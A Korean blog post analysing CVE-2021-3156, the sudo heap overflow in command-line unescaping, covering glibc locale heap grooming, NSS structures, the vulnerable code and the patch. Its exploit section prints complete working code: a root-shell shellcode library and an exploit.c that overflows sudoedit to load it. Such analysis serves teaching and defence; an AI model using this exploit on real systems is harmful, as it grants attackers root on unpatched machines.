상세 컨텐츠

본문 제목

CVE-2021-3156 : Privilege Escalation by Sudo Vulnerability

ANALYSIS/Vulnerability Analysis

by koharin 2021. 9. 11. 20:45

본문

728x90
반응형

요약


취약점 유형 Privilege Escalation
CVSS 점수 7.8
취약점 공개 날짜 2021-01-26

 

 

Description


로컬 공격자는 sudo의 명령줄 인수의 구문 분석 방식에서의 heap-based buffer overflow 취약점을 이용하여 공격에 성공하면, 계정의 패스워드 인증 없이 sudo 명령어를 실행하여 권한 상승이 가능하다.

해당 취약점은 2011년 7월부터 9년이 넘는 기간 동안 존재해왔다.

 

 

Affected Version


  • 1.7.7 ~ 1.7.10p9
  • 1.8.2 ~ 1.8.31p2 (1.8.31-1ubuntu1.1)
  • 1.9.0 ~ 1.9.5p1
  • 현재 1.8.31-1ubuntu1.2, 1.8.32 ~ 1.9.5p2 에서 버그 패치되었음
 

GitHub - sudo-project/sudo: Utility to execute a command as another user

Utility to execute a command as another user. Contribute to sudo-project/sudo development by creating an account on GitHub.

github.com

패치 전 코드

 

how to check if sudo is vulnerable

sudoedit -s /
  • 취약한 경우: sudoedit: /: not a regular file 오류 출력

  • 취약하지 않은 경우: usage 출력

 

 

Setting


test environment

  • Ubuntu version: 20.04 LTS
  • sudo version: v1.8.31 (1.8.31-1ubuntu1)

downgrade sudo

$ sudo apt install sudo=1.8.31-1ubuntu1
  • 위의 명령어를 통해 sudo 버전을 downgrade 가능

 

 

Background


Glibc setlocale

setlocale 함수가 empty string으로 호출되면, nl_find_locale 함수에서 찾은 LC* 환경변수가 입력 인자로 사용된다. locale 이름을 구하기 전에는 카테고리에 해당하는 LC_ALL, LC_<CATEOGRY_NAME>, LANG 환경변수와 일치하는지 확인하고, 카테고리가 설정되지 않았으면 "C" locale이 사용된다. locale 이름이 "C"인 경우, _nl_find_locale 함수는 힙을 건드리지 않고 해당 locale 이름을 반환한다.

mask = _nl_explode_name(loc_name, &language, &modifier, &territory, &codeset, &normalized_codeset);

mask는 인자로 준 locale name이 있을 경우 플래그가 mask로 저장된다.

_nl_make_l10nflist 함수는 주어진 locale name에 대한 카테고리가 로드되었는지 체크하는데, 그 전에 해당 full locale name를 위해 malloc으로 힙에 할당된다. 만약 리스트에 있거나 한 번만 호출되면, free되고 리턴된다.

만약 로드된 리스트에 없으면, a _nl_make_l10nflist 함수가 호출되어 가능한 조합과 카테고리 이름으로부터 가능한 모든 경로 (base directory: /usr/lib/locale)를 만들고, 재귀적으로 이 자기 자신을 호출하면서 이 과정을 반복한다.

이 과정에서 malloc과 free가 반복된다.

locale에 part가 많을수록, malloc과 free 횟수가 늘어난다.

LC_COLLATE, LC_CTYPE, LC_MESSAGES, LC_MONETARY, LC_NUMERIC and LC_TIME are defined to accept an additional field "@modifier ", which allows the user to select a specific instance of localisation data within a single category (for example, for selecting the dictionary as opposed to the character ordering of data). The syntax for these environment variables is thus defined as:

[language[_territory][.codeset][@modifier]]

이때 @modifier 를 통해 환경변수 사이즈를 제어할 수 있다.

큰 free chunk를 만들고 싶으면, LC_ 환경변수의 modifier 길이*를 조절하면 된다.

 

/* Make a copy of locale name.  */
      if (newname[0] != _nl_C_name)
	{
	  newname[0] = __strdup (newname[0]);
	  if (newname[0] == NULL)
	    goto abort_single;
	}

      /* Create new composite name.  */
      composite = new_composite_name (category, newname);
      if (composite == NULL)
	{
	  if (newname[0] != _nl_C_name)
	    free ((char *) newname[0]);

	  /* Say that we don't have any data loaded.  */
	abort_single:
	  newname[0] = NULL;
	}

이후 _nl_find_locale 함수는 생성된 경로에서 locale 데이터를 하나씩 로딩한다. 유효한 locale 데이터를 찾으면, 데이터가 리턴되고 setlocale 함수는 주어진 loclae 이름을 내부적으로 저장한다.

에러가 발생하면, setlocale 함수는 모든 저장된 이름을 free하고 디폴트로 사용하는 "C"를 리턴한다. 

따라서 locale name은 랜덤일 수 없고, language와 codeset은 유효해야만 한다.

모든 카테고리 이름에 대해 데이터가 로드되었으면, LC_ALL은 new_composite_name 함수에 생성된다.

모든 LC 이름이 동일하면, 첫 번째 LC에서 값을 가져온다.

모든 LC 이름이 다르다면 모든 LC 이름에서 값이 조합된다. (예. LC_CTYPE=C;LC_NUMERIC=C.UTF-8;. ..)

 

유효하지 않은 LC 카테고리 이름을 여러 개 준다면, LC_ALL은 "C" 값을 갖게 되고 setlocale은 LC_ALL이 "C"이므로 _nl_find_locale 함수는 힙을 건들이지 않고 해당 locale 이름을 반환한다. 따라서 해제되었된 모든 free chunk를 사용할 수 있게 된다.

LC_* 환경변수에서의 free chunk들을 이용해서 service_user object를 overwrite 할 수 있다. (service_user 객체의 name 필드를 overwrite하여 원하는 라이브러리 로딩하는데 사용)

 

// src/sudo.c
int
main(int argc, char *argv[], char *envp[])
{
    int nargc, ok, status = 0;
    char **nargv, **env_add;
    char **user_info, **command_info, **argv_out, **user_env_out;
    struct sudo_settings *settings;
    struct plugin_container *plugin, *next;
    sigset_t mask;
    debug_decl_vars(main, SUDO_DEBUG_MAIN)

    initprogname(argc > 0 ? argv[0] : "sudo");

    /* Crank resource limits to unlimited. */
    unlimit_sudo();

    /* Make sure fds 0-2 are open and do OS-specific initialization. */
    fix_fds();
    os_init(argc, argv, envp);

    setlocale(LC_ALL, "");

sudo의 main 함수 초기에 setlocale(LC_ALL, "")을 호출한다. 따라서 이때 service_table의 첫 번째 entry와 두 번째 entry 사이에 0x2100 오프셋이 있는 것으로, 이 사이에 free chunk들을 만들어놓으면, set_cmnd에서 user_args를 이 free chunk에 할당하여 service_user 구조체의 name 필드를 heap overflow를 이용하여 overwrite 할 수 있다.

 

GNU Name Service Switch (NSS)

  • GNU C 라이브러리에서 사용되어 특정 카테고리에 대한 name service 정보를 가지고 있는 소스를 가져오기 위해 사용됨
  • /etc/nsswitch.conf 파일에 사용 가능한 database와 name service가 명시되어 있음
  • 특정 name service에 대한 C 라이브러리를 로딩하는 경우, heap 메모리에 저장된 database의 name 필드에서 service 이름을 가져와서 해당하는 라이브러리를 로딩
  • Libc에서 Host name, user account, service name 등의 시스템 database를 lookup 하기 위한 새로운 name을 가지는 라이브러리를 libc에서 사용하도록 허용하는 메커니즘
  • _nss_files_gethostbyname_r 함수를 호출하는 경우
    • libnss_files.so.2 로딩 : service 이름에 해당하는 “files”를 찾아 libnss_files.so.2 라이브러리 로딩
    • _nss_files_gethostbyname_r 호출: libnss_files.so.2 라이브러리에서 “files”라는 모듈 이름을 가지는 gethostbyname함수를 호출
validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag);
    if (ISSET(validated, VALIDATE_ERROR)) {
	/* The lookup function should have printed an error. */
	goto done;
}

sudoers_policy_main에서 set_cmnd 함수 호출 이후 sudoers group에서 user를 찾기 위해 sudoers_lookup함수를 호출하고 특정 명령어를 실행하는 것이 허용되는지 확인한다. sudo는 __nss_database_lookup을 통해 필요한 데이터베이스와 서비스를 찾아본다. (host name, service name, user account 등과 같은 데이터베이스)

/* -1 == database not found
    0 == database entry pointer stored */
int
__nss_database_lookup2 (const char *database, const char *alternate_name,
			const char *defconfig, service_user **ni)
{
  /* Prevent multiple threads to change the service table.  */
  __libc_lock_lock (lock);

  /* Reconsider database variable in case some other thread called
     `__nss_configure_lookup' while we waited for the lock.  */
  if (*ni != NULL)
    {
      __libc_lock_unlock (lock);
      return 0;
    }

  /* Are we initialized yet?  */
  if (service_table == NULL)
    /* Read config file.  */
    service_table = nss_parse_file (_PATH_NSSWITCH_CONF);

  /* Test whether configuration data is available.  */
  if (service_table != NULL)
    {
      /* Return first `service_user' entry for DATABASE.  */
      name_database_entry *entry;

      /* XXX Could use some faster mechanism here.  But each database is
	 only requested once and so this might not be critical.  */
      for (entry = service_table->entry; entry != NULL; entry = entry->next)
	if (strcmp (database, entry->name) == 0)
	  *ni = entry->service;

      if (*ni == NULL && alternate_name != NULL)
	/* We haven't found an entry so far.  Try to find it with the
	   alternative name.  */
	for (entry = service_table->entry; entry != NULL; entry = entry->next)
	  if (strcmp (alternate_name, entry->name) == 0)
	    *ni = entry->service;
    }

service 구조체를 ni 변수에 할당하고, 서비스 구조와 필요한 함수 이름을 __nss_lookup_function에 전달한다.

void *
__nss_lookup_function (service_user *ni, const char *fct_name)
{
  void **found, *result;

  ...

#if !defined DO_STATIC_NSS || defined SHARED
	  /* Load the appropriate library.  */
	  if (nss_load_library (ni) != 0)
	    /* This only happens when out of memory.  */
	    goto remove_from_tree;

	  if (ni->library->lib_handle == (void *) -1l)
	    /* Library not found => function not found.  */
	    result = NULL;
	  else
	    {
	      /* Get the desired function.  */
	      size_t namlen = (5 + strlen (ni->name) + 1
			       + strlen (fct_name) + 1);
	      char name[namlen];

	      /* Construct the function name.  */
	      __stpcpy (__stpcpy (__stpcpy (__stpcpy (name, "_nss_"),
					    ni->name),
				  "_"),
			fct_name);

	      /* Look up the symbol.  */
	      result = __libc_dlsym (ni->library->lib_handle, name);
	    }
...

  /* Remove the lock.  */
  __libc_lock_unlock (lock);

  return result;
}

서비스에 상응하는 모듈이 이미 로딩되었으면 __nss_lookup_function 함수는 바로 함수이름을 구성하고 __libc_dlsym 호출을 통해 공유 객체에서 심볼을 찾아본다.

static int
nss_load_library (service_user *ni)
{
  ...

  if (ni->library->lib_handle == NULL)
    {
      /* Load the shared library.  */
      size_t shlen = (7 + strlen (ni->name) + 3
		      + strlen (__nss_shlib_revision) + 1);
      int saved_errno = errno;
      char shlib_name[shlen];

      /* Construct shared object name.  */
      __stpcpy (__stpcpy (__stpcpy (__stpcpy (shlib_name,
					      "libnss_"),
				    ni->name),
			  ".so"),
		__nss_shlib_revision);
			// load shared object to memory
      ni->library->lib_handle = __libc_dlopen (shlib_name);

서비스에 상응하는 모듈이 로딩되지 않았으면(service_library 구조체의 lib_handle 필드가 NULL이면) 모듈 이름 구성 후 __nss_lookup_function()은 nss_load_library를 호출한다. nss_load_library()  내부에서 __libc_dlopen_mode() 호출로 메모리에 공유 라이브러리를 로드한다.

이후 __nss_lookup_function()로 리턴 후 함수 이름을 구성하고 __lib_dlsym() 함수 호출을 통해 로드된 공유 라이브러리에서 심볼을 찾아본다.

 

name_database

typedef struct name_database
{
  /* List of all known databases.  */
  name_database_entry *entry;
  /* List of libraries with service implementation.  */
  service_library *library;
} name_database;

name_database_entry

typedef struct name_database_entry
{
  /* And the link to the next entry.  */
  struct name_database_entry *next;
  /* List of service to be used.  */
  service_user *service;
  /* Name of the database.  */
  char name[0];
} name_database_entry;

service_user

typedef struct service_user
{
  /* And the link to the next entry.  */
  struct service_user *next;
  /* Action according to result.  */
  lookup_actions actions[5];
  /* Link to the underlying library object.  */
  service_library *library;
  /* Collection of known functions.  */
  void *known;
  /* Name of the service (`files', `dns', `nis', ...).  */
  char name[0];
} service_user;

service_library

typedef struct service_library
{
  /* Name of service (`files', `dns', `nis', ...).  */
  const char *name;
  /* Pointer to the loaded shared library.  */
  void *lib_handle;
  /* And the link to the next entry.  */
  struct service_library *next;
} service_library;

위의 4개의 구조체는 데이터베이스와 서비스를 찾아보는데 사용된다.

첫 번째와 두 번째 service 사이에는 0x2100 크기의 공간이 있다. 첫 번째와 두 번째 데이터베이스 사이에 LC_* 환경변수 파일이름에 대한 할당과 해제가 이루어지면, 해제된 영역에 user_args를 할당하고, heap overflow를 사용하여 name 필드(files)를 overwrite 할 수 있다.

 

 

 

Vulnerability


parse_args : escaping backslash

sudo.c

int main(int argc, char *argv[], char *envp[])
{
    int nargc, ok, status = 0;
    char **nargv, **env_add;
    char **user_info, **command_info, **argv_out, **user_env_out;
    const char * const allowed_prognames[] = { "sudo", "sudoedit", NULL };
    struct sudo_settings *settings;
    struct plugin_container *plugin, *next;
    sigset_t mask;
    debug_decl_vars(main, SUDO_DEBUG_MAIN)

    ...

    /* Parse command line arguments. */
    sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
    sudo_debug_printf(SUDO_DEBUG_DEBUG, "sudo_mode %d", sudo_mode);

parse_args.c

571     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) { 
572         char **av, *cmnd = NULL; 
573         int ac = 1; 
... 
581             cmnd = dst = reallocarray(NULL, cmnd_size, 2); 
... 
587             for (av = argv; *av != NULL; av++) { 
588                 for (src = *av; *src != '\0'; src++) { 
589                     /* quote potential meta characters */ 
590                     if (!isalnum((unsigned char)*src) && *src != '_' && *src != '-' && *src != '$') 
591                         *dst++ = '\\'; 
592                     *dst++ = *src; 
593                 } 
594                 *dst++ = ' '; 
595             } 
... 
600             ac += 2; /* -c cmnd */ 
... 
603         av = reallocarray(NULL, ac + 1, sizeof(char *)); 
... 
609         av[0] = (char *)user_details.shell; /* plugin may override shell */ 
610         if (cmnd != NULL) { 
611             av[1] = "-c"; 
612             av[2] = cmnd; 
613         } 
614         av[ac] = NULL; 
615  
616         argv = av; 
617         argc = ac; 
618     }
  1. sudo가 sudo의 MODE_SHELL 플래그를 설정하는 -s 또는 sudo의 MODE_SHELL과 MODE_LOGIN_SHELL 플래그를 설정하는 -i 옵션을 통해 명령어를 실행한다. (shell -c)
  2. 587-595 라인: 모든 명령어 인자를 이어붙인다.
  3. 590-591 라인: 모든 메타 문자(문자, 숫자 아닌)를 \\ 으로 만들어서 escape한다.
  4. 603-617 라인: 모든 명령어 인자를 이어붙인 것을 argv에 덮어쓴다.

 

set_cmnd : heap overflow

sudo의 main 함수에서 policy_check() 호출로 policy_check() → sudoers_policy_check() → sudoers_policy_main()set_cmnd() 과정으로 set_cmnd() 함수가 호출된다.

/* src/sudo.c */
static void
policy_check(int argc, char * const argv[],
    char *env_add[], char **command_info[], char **argv_out[],
    char **user_env_out[])
{
    const char *errstr = NULL;
    int ok;
    debug_decl(policy_check, SUDO_DEBUG_PCOMM);

    if (policy_plugin.u.policy->check_policy == NULL) {
	sudo_fatalx(U_("policy plugin %s is missing the \"check_policy\" method"),
	    policy_plugin.name);
    }
    sudo_debug_set_active_instance(policy_plugin.debug_instance);

    ok = policy_plugin.u.policy->check_policy(argc, argv, env_add,
	command_info, argv_out, user_env_out, &errstr); // sudoers_policy_check 호출
/* plugins/sudoers/sudoers.c */
int
sudoers_policy_main(int argc, char * const argv[], int pwflag, char *env_add[],
    bool verbose, void *closure)
{
    char *iolog_path = NULL;
    mode_t cmnd_umask = ACCESSPERMS;
    struct sudo_nss *nss;
    int oldlocale, validated, ret = -1;
    debug_decl(sudoers_policy_main, SUDOERS_DEBUG_PLUGIN);

    ...

    /* Find command in path and apply per-command Defaults. */
    cmnd_status = set_cmnd();
    if (cmnd_status == NOT_FOUND_ERROR)
	goto done;
/* plugins/sudoers/sudoers.c (set_cmnd 함수) */ 

819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { 
... 
852             for (size = 0, av = NewArgv + 1; *av; av++) 
853                 size += strlen(*av) + 1; 
854             if (size == 0 || (user_args = malloc(size)) == NULL) { 
... 
857             } 
858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { 
... 
864                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) { 
865                     while (*from) { 
866                         if (from[0] == '\\' && !isspace((unsigned char)from[1])) 
867                             from++; 
868                         *to++ = *from++; 
869                     } 
870                     *to++ = ' '; 
871                 } 
... 
884             } 
... 
886     }

MODE_RUN 또는 MODE_EDIT 또는 MODE_CHECK 조건을 만족하고, MODE_SHELL 또는 MODE_LOGIN_SHELL(sudo -s 옵션 또는 sudo -i 옵션)이면, sudoers_policy_main() 함수 내에서 호출되는 set_cmnd() 함수는 명령어 인자를 heap-based 버퍼인 user_args 에 이어붙인다.

  • 이때 backslash(\\)이고 뒤에 space가 없으면 from 포인터를 증가시켜서 \\ 을 제외시키고 문자를 user_args 버퍼에 넣는다. 이 과정은 parse_args 함수에서 모든 meta 문자에 \\ 이 붙였기 때문에 meta 문자에서 \\ 을 제거하는 것이다.

 

how vulnerability occurs?

/* plugins/sudoers/sudoers.c (set_cmnd 함수) */
819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { 
... 
852             for (size = 0, av = NewArgv + 1; *av; av++) 
853                 size += strlen(*av) + 1; 
854             if (size == 0 || (user_args = malloc(size)) == NULL) { 
... 
857             } 
858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) { 
... 
864                 for (to = user_args, av = NewArgv + 1; (from = *av); av++) { 
865                     while (*from) { 
866                         if (from[0] == '\\' && !isspace((unsigned char)from[1])) 
867                             from++; 
868                         *to++ = *from++; 
869                     } 
870                     *to++ = ' '; 
871                 } 
... 
884             } 
... 
886     }
  • 명령문 인자가 하나의 backslash('\\') 문자로 끝난다면,
  • 866 라인에서 from[0]이 \\ 이고, from[1] 이 null terminator (space 문자가 아닌)이므로 조건에 만족해서 if문으로 들어가고,
  • 867 라인에서 from++로 null terminator를 가리키게 된다.
  • 868 라인에서 to 포인터는 from이 가리키던 null terminator 뒤의 문자를 가리킨다. 즉, user_args 버퍼 포인터가 OOB 문자를 가리킨다.
  • 865-869 라인의 while문에서 from이 가리키는 OOB 문자가 user_args 버퍼에 들어간다.
  • 852-853 라인에서 user_args 버퍼에서 세팅한 사이즈 범위에 OOB 문자들은 들어가지 않는데, 위의 과정에 의해 OOB 문자들이 user_args 버퍼에 들어가게 되어 heap-based buffer overflow 취약점이 발생한다.
// plugins/sudoers/sudoers.c
819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { 
... 
... 
858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {

set_cmnd 함수(취약한 코드)에 접근하려면 sudo 실행 시 -e (MODE_EDIT)또는 -l (MODE_CHECK)과 -s(MODE_SHELL) 의 2가지 옵션이 적용되어 있어야 한다.

 

how to bypass escaping meta characters in parse_args()?

/* src/parse_args.c */
358                 case 'e':
...
361                     mode = MODE_EDIT;
362                     sudo_settings[ARG_SUDOEDIT].value = "true";
363                     valid_flags = MODE_NONINTERACTIVE;
364                     break;
...
416   							case 'l':
417											if (mode) {
418													if (mode == MODE_LIST)
419							    				    SET(flags, MODE_LONG_LIST);
420													else
421													    usage_excl(1);
422									    }
423									    mode = MODE_LIST;
424	 								    valid_flags = MODE_NONINTERACTIVE|MODE_LONG_LIST;
425									    break;
...
460									case 's':
461											sudo_settings[ARG_USER_SHELL].value = "true";
462											SET(flags, MODE_SHELL);
463											break;
...
518     if (argc > 0 && mode == MODE_LIST)
519         mode = MODE_CHECK;
...
532     if ((flags & valid_flags) != flags)
533         usage(1);

sudo 실행 시 -e 옵션(MODE_EDIT)을 설정할 경우 valid_flags에 MODE_NONINTERATIVE 플래그가 설정되고, -l(MODE_CHECK) 옵션을 설정할 경우 valid_flags에서 MODE_NONINTERATIVE, MODE_LONG_LIST 플래그가 설정된다. -s 옵션(MODE_SHELL)이 적용된 경우 flags는 MODE_SHELL 플래그가 설정된다.

이후 flags와 valid_flags 값이 동일하지 않으면 프로그램을 종료하여, -e 또는 -l 옵션과 -s 옵션을 동시에 사용할 수 없다. 따라서 sudo 실행으로는 set_cmnd 함수에서 취약한 코드 진입 조건을 만족하지 못 한다.

/* src/parse_args.c */
127 #define DEFAULT_VALID_FLAGS     (MODE_BACKGROUND|MODE_PRESERVE_ENV|MODE_RESET_HOME|MODE_LOGIN_SHELL|MODE_NONINTERACTIVE|MODE_SHELL) 
... 
242		int
243		parse_args(int argc, char **argv, int *nargc, char ***nargv,
244		    struct sudo_settings **settingsp, char ***env_addp)
245		{
...
249     int valid_flags = DEFAULT_VALID_FLAGS; 
... 
267     proglen = strlen(progname); 
268     if (proglen > 4 && strcmp(progname + proglen - 4, "edit") == 0) { 
269         progname = "sudoedit"; 
270         mode = MODE_EDIT; 
271         sudo_settings[ARG_SUDOEDIT].value = "true"; 
272     }

sudoedit로 sudo 실행 시 DEFAULT_VALID_FLAGS 상수에 MODE_SHELL 플래그가 디폴트로 설정되고(249라인), MODE_EDIT 플래그가 설정된다. (269-270라인)

 

parse_args() 함수

// src/parse_args.c
571     if (ISSET(mode, MODE_RUN) && ISSET(flags, MODE_SHELL)) {

set_cmnd() 함수

// plugins/sudoers/sudoers.c
819     if (sudo_mode & (MODE_RUN | MODE_EDIT | MODE_CHECK)) { 
... 
... 
858             if (ISSET(sudo_mode, MODE_SHELL|MODE_LOGIN_SHELL)) {

parse_args()의 meta character을 처리하는 조건과 set_cmnd 함수에서 meta character을 처리하는 조건이 다르다. MODE_EDIT 또는 MODE_CHECK 플래그를 사용하면 parse_args 함수의 meta character escaping 코드에 진입하지 않을 수 있다.

이 경우에는 parse_args 함수에서 backslash escaping 조건(MODE_RUN, MODE_SHELL)을 만족하지 않으면서 set_cmnd 함수의 첫 번째 조건에서 MODE_EDIT을, 두 번째 조건에서 MODE_SHELL로 조건을 만족하면 취약한 코드에 진입할 수 있다. backslash 하나를 포함하여 set_cmnd 함수에서의 heap overflow 취약점을 발생시킬 수 있다.

 

 

Exploit


  1. sudo.c:154 setlocale(LC_ALL, "");
    • LC_* 환경변수에서 카테고리를 로드하고 유효한 locale name을 찾기 위해 locale name을 heap에 생성한다. 이때 로드된 리스트에 유효한 locale name이 없다면, 가능한 모든 locale name 경로를 heap에 할당하여 만들고 해제하는 과정을 반복한다. 이 과정에서 heap에 많은 free chunk가 생성된다.
  2. sudo.c:199 sudo_mode = parse_args(argc, argv, &nargc, &nargv, &settings, &env_add);
    • sudoedit의 -s 옵션으로 플래그를 MODE_EDIT과 MODE_RUN으로 설정하여 parse_args 함수의 backslash escaping 조건에 들어가지 않는다.
  3. sudo.c:253 ok = policy_plugin.u.policy->check_policy(argc, argv, env_add, command_info, argv_out, user_env_out, &errstr);
    • policy_check() → sudoers_policy_check() → sudoers_policy_main() → set_cmnd() 호출 순서에 의해 set_cmnd 함수가 호출된다. setlocale 과정에서 생성된 free chunk로 user_args가 할당된다. argv에 '\\'을 포함하여 heap overflow로 envp가 user_args 버퍼에 포함되도록 한다. envp에는 service_user의 name 필드를 덮어야 하는데, files가 로드되어 nss_load_library 함수가 호출되지 않으므로 service_library 구조체의 lib_handle를 NULL로 덮도록 envp에 많은 \\을 넣는다. backslash에 대한 if 조건으로 backslash 다음 null terminator를 가리키게 되어 lib_handle를 NULL로 덮을 수 있는 것이다. envp에  name 필드 위치에는 익스플로잇 코드가 위치한 경로 이름을 준다.
  4. sudoers.c:414 validated = sudoers_lookup(snl, sudo_user.pw, &cmnd_status, pwflag)
    • set_cmnd 함수에서 user_args에 argv와 envp를 복사하면서 service_library의 lib_handle 필드가 NULL로, service_user 구조체의 name 필드가 쉘코드 라이브러리가 위치한 경로 이름으로 덮힌 상태이다. lib_handle이 NULL이므로 __nss_lookup_function 함수에서 nss_load_library 함수를 호출한다. nss_load_library 함수에서는  __libc_dlopen_mode 함수를 통해 메모리에 공유 객체를 로드한다. 이때 name 필드에 원하는 라이브러리 경로로 덮힌 상태이므로, 쉘코드를 실행하는 라이브러리를 로드한다.
    • 이후 __nss_lookup_function 함수로 리턴하여 함수 이름 구성 후 __lib_dlsym 함수 호출 통해 로드된 공유 객체(libnss_x)에서 심볼 x.so.2를 로드한다. x.so.2는 쉘코드이므로, 쉘코드를 실행하여 권한상승을 할 수 있다.

 

shellcode.c

#include <stdio.h>
static void __attribute__((constructor)) _init(void){
    
    __asm__ __volatile__(
      "movq $105, %rax;" // x86_64 setuid syscall id : 105
      "movq $0, %rdi;" // rdi = 0
      "syscall;" // setuid(0);
      "movq $106, %rax;" // x86_64 setgid syscall id : 106
      "movq $0, %rdi;" // rdi = 0
      "syscall;" // setgid(0);
      "movq $0x3b, %rax;" // rax = 59 (execve x86_64 syscall id)
      "movq $0x0068732f6e69622f, %rdi;" // rdi = '/bin/sh\x00' (little endian order)
      "pushq %rdi;" // rsp = rdi
      "movq %rsp, %rdi;" // rdi  = &/bin/sh
      "movq $0, %rdx;" // rdx = 0
      "movq $0, %rsi;" // rsi = 0
      "syscall;" // execve("/bin/sh", 0, 0); 
    );
}

x86_64 syscall

__asm__ 다음에 나오는 것이 인라인 어셈블리임을 의미

__volatile__ 컴파일러는 최적화나 위치를 옮기지 않고 프로그래머가 입력한 그대로 남겨둔다.

setuid(0); setgid(0); uid와 gid를 0으로 만들어서 root 쉘을 따도록 한다.

pushq %rdi; movq %rsp, %rdi; execve 함수의 첫 번째 인자로는 주소가 와야 하기 때문에 "/bin/sh" 문자열을 바로 rdi 레지스터에 넣지 못 하고 스택에 push해서 rsp 레지스터가 "/bin/sh"가 있는 주소를 가리키게 한 후 rdi 레지스터에 넣는다.

 

exploit.c

#include <unistd.h> // execve()
#include <string.h> // strcat()

void main(void) {

    // 'buf' size determines size of overflowing chunk.
    // This will allocate an 0xf0-sized chunk before the target service_user struct.
    int i;
    char buf[0xf0] = {0};
    memset(buf, 'Y', 0xe0);
    strcat(buf, "\\");

    char* argv[] = {
        "sudoedit",
        "-s",
        buf,
        NULL};

    // Use some LC_ vars for heap Feng-Shui.
    // This should allocate the target service_user struct in the path of the overflow.
    char messages[0xe0] = {"LC_MESSAGES=en_GB.UTF-8@"};
    memset(messages + strlen(messages), 'A', 0xb8);

    char telephone[0x50] = {"LC_TELEPHONE=C.UTF-8@"};
    memset(telephone + strlen(telephone), 'A', 0x28);

    char measurement[0x50] = {"LC_MEASUREMENT=C.UTF-8@"};
    memset(measurement + strlen(measurement), 'A', 0x28);

    // This environment variable will be copied onto the heap after the overflowing chunk.
    // Use it to bridge the gap between the overflow and the target service_user struct.
    char overflow[0x500] = {0};
    memset(overflow, 'X', 0x4cf);
    strcat(overflow, "\\");

    // Overwrite the 'files' service_user struct's name with the path of our shellcode library.
    // The backslashes write nulls which are needed to dodge a couple of crashes.
    char* envp[] = {
        overflow,
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "XXXXXXX\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "\\", "\\", "\\", "\\", "\\", "\\", "\\",
        "x/x\\",
        "Z",
        messages,
        telephone,
        measurement,
        NULL};

    // Invoke sudoedit with our argv & envp.
    execve("/usr/bin/sudoedit", argv, envp);
}

exploit.c PoC

 

 

Patch


  • 1.8.31-1ubuntu1.2
  • 1.8.32 ~ 1.9.5p2

sudo-project/sudo

Fix potential buffer overflow when unescaping backslashes in user_args. · sudo-project/sudo@1f86385

set_cmnd 함수에서의 잘못된 플래그 체크를 수정했다.

set_cmnd 함수에서 to (user_args)에 from 을 넣기 전 힙 메모리 할당 시 계산한 size와 파라미터로 전달된 문자열 사이즈를 계산하는 조건을 추가하여 heap overflow를 방지하는 코드를 패치했다.

 

 

Reference


Buffer overflow in command line unescaping

[CVE-2021-3156] Exploiting Sudo heap overflow on Debian 10

CVE-2021-3156: Heap-Based Buffer Overflow in Sudo (Baron Samedit) | Qualys Security Blog

CptGibbon/CVE-2021-3156

0xdevil/CVE-2021-3156

Exploit Writeup for CVE-2021-3156 (Sudo Baron Samedit

728x90
반응형

관련글 더보기